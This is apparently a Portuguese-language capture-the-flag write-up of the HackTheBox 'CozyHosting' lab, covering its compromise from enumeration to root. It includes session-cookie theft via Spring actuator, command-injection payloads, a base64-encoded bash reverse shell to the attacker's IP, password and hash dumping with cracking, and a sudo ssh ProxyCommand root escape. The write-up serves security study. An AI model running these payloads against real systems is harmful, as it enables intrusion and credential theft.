Post

HackTheBox - CozyHosting - Fácil

logo


CTF - CozyHosting



Enumeração

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -sS -Pn -n --disable-arp-ping --stats-every=7s  10.10.11.230 --min-rate 10000 -oA nmapver -sVC -p 22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-14 18:23 -03
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 18:24 (0:00:00 remaining)
Nmap scan report for 10.10.11.230
Host is up (0.14s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.69 seconds

gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://cozyhosting.htb/admin                (Status: 401) [Size: 97]
http://cozyhosting.htb/logout               (Status: 204) [Size: 0]
http://cozyhosting.htb/login                (Status: 200) [Size: 4431]
http://cozyhosting.htb/error                (Status: 500) [Size: 73]
http://cozyhosting.htb/index                (Status: 200) [Size: 12706]
http://cozyhosting.htb/plain]               (Status: 400) [Size: 435]
http://cozyhosting.htb/plain].old           (Status: 400) [Size: 435]
http://cozyhosting.htb/[.old                (Status: 400) [Size: 435]
http://cozyhosting.htb/plain].txt           (Status: 400) [Size: 435]
http://cozyhosting.htb/[.txt                (Status: 400) [Size: 435]
http://cozyhosting.htb/[.php                (Status: 400) [Size: 435]
http://cozyhosting.htb/plain].php           (Status: 400) [Size: 435]
http://cozyhosting.htb/[                    (Status: 400) [Size: 435]
http://cozyhosting.htb/].txt                (Status: 400) [Size: 435]
http://cozyhosting.htb/].php                (Status: 400) [Size: 435]
http://cozyhosting.htb/]                    (Status: 400) [Size: 435]
http://cozyhosting.htb/].old                (Status: 400) [Size: 435]
http://cozyhosting.htb/quote].txt           (Status: 400) [Size: 435]
http://cozyhosting.htb/quote]               (Status: 400) [Size: 435]
http://cozyhosting.htb/quote].old           (Status: 400) [Size: 435]
http://cozyhosting.htb/quote].php           (Status: 400) [Size: 435]
http://cozyhosting.htb/extension].txt       (Status: 400) [Size: 435]
http://cozyhosting.htb/extension].old       (Status: 400) [Size: 435]
http://cozyhosting.htb/extension]           (Status: 400) [Size: 435]
http://cozyhosting.htb/extension].php       (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-9].old            (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-9].txt            (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-9]                (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-9].php            (Status: 400) [Size: 435]
http://cozyhosting.htb/20[0-9][0-9]         (Status: 400) [Size: 435]
http://cozyhosting.htb/20[0-9][0-9].txt     (Status: 400) [Size: 435]
http://cozyhosting.htb/20[0-9][0-9].php     (Status: 400) [Size: 435]
http://cozyhosting.htb/20[0-9][0-9].old     (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-1][0-9].old       (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-1][0-9]           (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-1][0-9].txt       (Status: 400) [Size: 435]
http://cozyhosting.htb/[0-1][0-9].php       (Status: 400) [Size: 435]
http://cozyhosting.htb/[2].old              (Status: 400) [Size: 435]
http://cozyhosting.htb/[2].txt              (Status: 400) [Size: 435]
http://cozyhosting.htb/[2]                  (Status: 400) [Size: 435]
http://cozyhosting.htb/[2].php              (Status: 400) [Size: 435]
http://cozyhosting.htb/index                (Status: 200) [Size: 12706]
http://cozyhosting.htb/[2-9].old            (Status: 400) [Size: 435]
http://cozyhosting.htb/[2-9].php            (Status: 400) [Size: 435]
http://cozyhosting.htb/[2-9].txt            (Status: 400) [Size: 435]
http://cozyhosting.htb/[2-9]                (Status: 400) [Size: 435]
http://cozyhosting.htb/options[].txt        (Status: 400) [Size: 435]
http://cozyhosting.htb/options[].php        (Status: 400) [Size: 435]
http://cozyhosting.htb/options[]            (Status: 400) [Size: 435]
http://cozyhosting.htb/options[].old        (Status: 400) [Size: 435]
Progress: 249136 / 249140 (100.00%)
===============================================================
Finished
===============================================================

Apenas pagina de login encontrada de uma aplicação chamada bootstrap v5.2.3, buscando por esse nome nenhum exploit encontrado nessa versão. Busquei por algum writeup e descobri que precisava encontrar alguns diretórios em especifico da aplicação, procurando nas wordlists encontrei essa própria parar essa aplicação. /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt

gobuster actuator diretórios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://cozyhosting.htb/actuator             (Status: 200) [Size: 634]
http://cozyhosting.htb/actuator/env         (Status: 200) [Size: 4957]
http://cozyhosting.htb/actuator/env/lang    (Status: 200) [Size: 487]
http://cozyhosting.htb/actuator/env/path    (Status: 200) [Size: 487]
http://cozyhosting.htb/actuator/env/home    (Status: 200) [Size: 487]
http://cozyhosting.htb/actuator/health      (Status: 200) [Size: 15]
http://cozyhosting.htb/actuator/mappings    (Status: 200) [Size: 9938]
http://cozyhosting.htb/actuator/sessions    (Status: 200) [Size: 48]
http://cozyhosting.htb/actuator/beans       (Status: 200) [Size: 127224]
Progress: 448 / 452 (99.12%)
===============================================================
Finished
===============================================================

Ao acessar http://cozyhosting.htb/actuator/sessions temos o resultado abaixo, é um cookie de sessão do usuário kanderson.

Alt text

Adicionado o cookie no navegador e conseguimos logar na sessão de kanderson. Alt text

Burp Suite

Única coisa que podemos mexer são esses campos. Resultado de captura com burp. Responde um erro de verificação de chave do ssh. Alt text

Com POST da pra ver que o servidor tenta executar o ssh.
Tento executar algum comando no servidor.

Alt text

Acesso

De acordo com writeup temos que achar algum character de escape pra conseguir executar comandos no servidor. Alguns payloads podem ser encontrados aqui https://book.hacktricks.xyz/pentesting-web/command-injection (Pelo response acima já pode se notar que é vulnerável a injeção de comando, mas por estudo sigo com os próximos passos) O payload que funcionam são esse:

1
2
;`comando`
;comando;#

Consegui executar o comando ID.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
host=127.0.0.1&username=;`id`

Reposta do Burp

HTTP/1.1 302 
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 15 Jan 2024 01:53:03 GMT
Content-Length: 0
Location: http://cozyhosting.htb/admin?error=usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]         [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command 
[argument ...]]/bin/bash: line 1: uid=1001(app): command not found
Connection: close
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY

Resolvi testar um ping na minha máquina através do payload no burp e capturei com wireshark. Como não é permitido espaços usamos o ${IFS} no lugar dos espaços que significa (IFS = Internal Field Separator).

1
host=127.0.0.1&username=;`ping${IFS}10.10.14.188`

Alt text

Payload e Reverse Shell

Agora vamos preparar nosso payload para reverse shell precisamos encodar em base64

1
2
3
┌──(kali💀kali)-[~]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.188/4443 0>&1' |base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODgvNDQ0MyAwPiYxCg==

Lembrando de adicionar o ${IFS} pois nao é permitido espaços, abaixo é nosso payload, vamos adicionar ele no burp, e encodar em URL, para isso selecione todo código e Clique Direito > Convert Selection > URL> Encode All

1
;`echo${IFS}'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xODgvNDQ0MyAwPiYxCg=='|${IFS}base64${IFS}-d${IFS}|${IFS}bash`

Ficando assim no burp Alt text

Exploração

Reverse shell conectada, vamos baixar o arquivo nesse diretório, abrimos um server http com python e baixamos em nossa maquina com wget

1
2
3
4
5
6
7
8
9
app@cozyhosting:/app$ ls -la
total 58856
drwxr-xr-x  2 root root     4096 Aug 14 14:11 .
drwxr-xr-x 19 root root     4096 Aug 14 14:11 ..
-rw-r--r--  1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar
app@cozyhosting:/app$ python3 -m http.server 9090

──(kali💀kali)-[~/HTB/cozyhosting]
└─$ wget http://cozyhosting.htb:9090/cloudhosting-0.0.1.jar     

Para descompactar

unzip cloudhosting-0.0.1.jar

Temos 3 pastas BOOT-INF, META-INF e org

usando o grep pra pesquisar por passwords nesses diretórios.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali💀kali)-[~/HTB/cozyhosting]
└─$ grep -rnwi 'password' .                                                                  
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:6155:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-fill">
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.symbol.svg:6160:</symbol><symbol viewBox="0 0 24 24" id="ri-lock-password-line">
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:3710:    <glyph glyph-name="lock-password-fill"
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.svg:3713:    <glyph glyph-name="lock-password-line"
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.ttf: binary file matches
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:1277:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.less:1278:.ri-lock-password-line:before { content: "\eed0"; }
grep: ./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.eot: binary file matches
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:1276:.ri-lock-password-fill:before { content: "\eecf"; }
./BOOT-INF/classes/static/assets/vendor/remixicon/remixicon.css:1277:.ri-lock-password-line:before { content: "\eed0"; }
grep: ./BOOT-INF/classes/htb/cloudhosting/scheduled/FakeUser.class: binary file matches
grep: ./BOOT-INF/classes/htb/cloudhosting/database/CozyUser.class: binary file matches
grep: ./BOOT-INF/classes/htb/cloudhosting/secutiry/SecurityConfig.class: binary file matches
./BOOT-INF/classes/application.properties:12:spring.datasource.password=Vg&nvzAQ7XxR
./BOOT-INF/classes/templates/login.html:57:                                        <label for="yourPassword" class="form-label">Password</label>
./BOOT-INF/classes/templates/login.html:58:                                        <input type="password" name="password" class="form-control" id="yourPassword"
./BOOT-INF/classes/templates/login.html:60:                                        <div class="invalid-feedback">Please enter your password!</div>
./BOOT-INF/classes/templates/login.html:73:                                    <p th:if="${param.error}" class="text-center small">Invalid username or password</p>

Temos essa saída que parece muito com uma senha -> Vg&nvzAQ7XxR Olhando o arquivo mais de perto pra ver do que se trata.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali💀kali)-[~/HTB/cozyhosting]
└─$ cat BOOT-INF/classes/application.properties 
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR                                             

Senha de banco de dados postgres !
Conectando no POstgres

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app@cozyhosting:/app$ psql -U postgres -h localhost -W
Password: 
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# \l


                                  List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

Conectando no DB cozyhosting e listando tabelas.

1
2
3
4
5
6
7
8
9
10
11
postgres=# \c cozyhosting
Password: 
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

Puxando os dados da tabela users:

1
2
3
4
5
6
7
8
select * from users;

  name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

A hash do admin se encontra em banco de dados de hashs quebradas na internet. Mas usamos o john também pra meio de estudo.

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

1
2
3
4
5
6
7
8
9
10
11
┌──(kali💀kali)-[~/HTB/cozyhosting]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:57 DONE (2024-01-15 02:38) 0.01750g/s 49.14p/s 49.14c/s 49.14C/s dougie..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

O único usuário que encontramos no servidor foi josh, vamos tentar logar com essa senha nele.

Escalação de Privilégio

Escalando para usuário josh e Primeira Flag

Logado com sucesso:

1
2
3
4
5
6
7
8
app@cozyhosting:/usr/bin$ su josh
Password: 
josh@cozyhosting:/usr/bin$ cd ~
josh@cozyhosting:~$ ls
user.txt
josh@cozyhosting:~$ cat user.txt 
289d6eb5bdf29c64f8f870f2b83f1905
josh@cozyhosting:~$ 

Escalando para root

1
2
3
4
5
6
7
8
9
10
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Sorry, try again.
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

O usuário josh pode usar sudo com ssh.
Checando o GTFOBins o comando para obter root é:

sudo ssh -o ProxyCommand=’;sh 0<&2 1>&2’ x

1
2
3
4
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# whoami
root
# 

Ultima Flag

Alt text

Conhecimentos adquiridos:

  • Comandos POstgres
  • Vulnerabilidade da Aplicação
  • Bypass para enviar comandos e encode no burp
  • Comandos Postgres (psql)
  • wordlist especifica para a aplicação.
  • usar quando não é permitido espaços ${IFS} (IFS = Internal Field Separator). Alt text
Esta postagem está licenciada sob CC BY 4.0 pelo autor.